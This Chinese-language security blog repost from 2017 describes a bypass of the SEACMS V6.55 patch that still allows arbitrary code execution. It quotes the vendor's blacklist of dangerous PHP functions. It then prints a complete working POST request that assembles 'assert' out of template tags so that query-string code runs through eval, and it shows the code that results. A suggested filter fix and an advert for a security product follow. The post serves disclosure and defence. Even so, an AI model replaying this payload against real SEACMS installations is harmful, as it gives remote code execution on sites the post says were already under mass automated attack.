?

Oct 13 2017

海洋CMS(SEACMS)新版本V6.55補丁仍可被繞過執行任意代碼

首頁 » 漏洞收集 » 海洋CMS(SEACMS)新版本V6.55補丁仍可被繞過執行任意代碼   

概述

前幾天我們公布了海洋CMS(SEACMS)的一個0day漏洞,官方據稱是在10月2日發布的V6.55版本中進行了修復,而實際上漏洞并沒有被實質性修復,而是仍然存在任意代碼執行的問題。

V6.55修復方式

新版本在main.class.php的parseIf函數中增加了黑名單的方式來過濾:

foreach($iar as $v){
            $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@[email protected]', $v);
        }
        $iar = $iarok;  

首先用黑名單過濾的方式來解決問題就沒有找準漏洞根源,而且這個黑名單也是非常不全面的。

繞過方法

由于php存在大量可執行代碼的函數,僅僅過濾上面這些是遠遠不夠的,這里甚至連最常用的assert都沒有過濾。對于引入shellcode的地方,僅僅過濾了$_GET、$_POST、$_COOKIE、$_REQUEST,然而HTTP請求數據可以進來的地方還有很多,例如$_SERVER。我們隨便構造一個請求即可繞過

POST /seacms/search.php?phpinfo(); HTTP/1.1 Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 201
Connection: keep-alive
Upgrade-Insecure-Requests: 1
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

最終在eval中執行的代碼是:

if(assert($_SERVER[QUERY_STRING]));/*xxxxx

而在php中$_SERVER[QUERY_STRING])會被等同于$_SERVER['QUERY_STRING'])執行,這樣就不用考慮繞過addslashes的問題了。然后就是把要執行的代碼放在query_string中即可。

 

2.png

 

 

漏洞修復

根據云鎖監測,目前該0day已經被大規模運用,而且攻擊者使用自動化攻擊腳本對全網SEACMS進行搜索并實施自動攻擊。我們已在9月份向CNVD和廠商報告了漏洞詳情,但截至2017.10.9,SEACMS仍然未發布該漏洞的補丁。建議SEACMS用戶立即安裝云鎖并開啟文件防上傳功能,可暫時避免被自動化程序攻擊。或在echoSearchPage()函數中增加一條過濾語句:

if(strpos($searchword,'{searchpage:')) exit;

*本文作者:天擇實習生,轉載請注明來自FreeBuf.COM

 

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «使用python重寫metasploit的exploit | 海洋CMS(SEACMS)0day漏洞預警»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖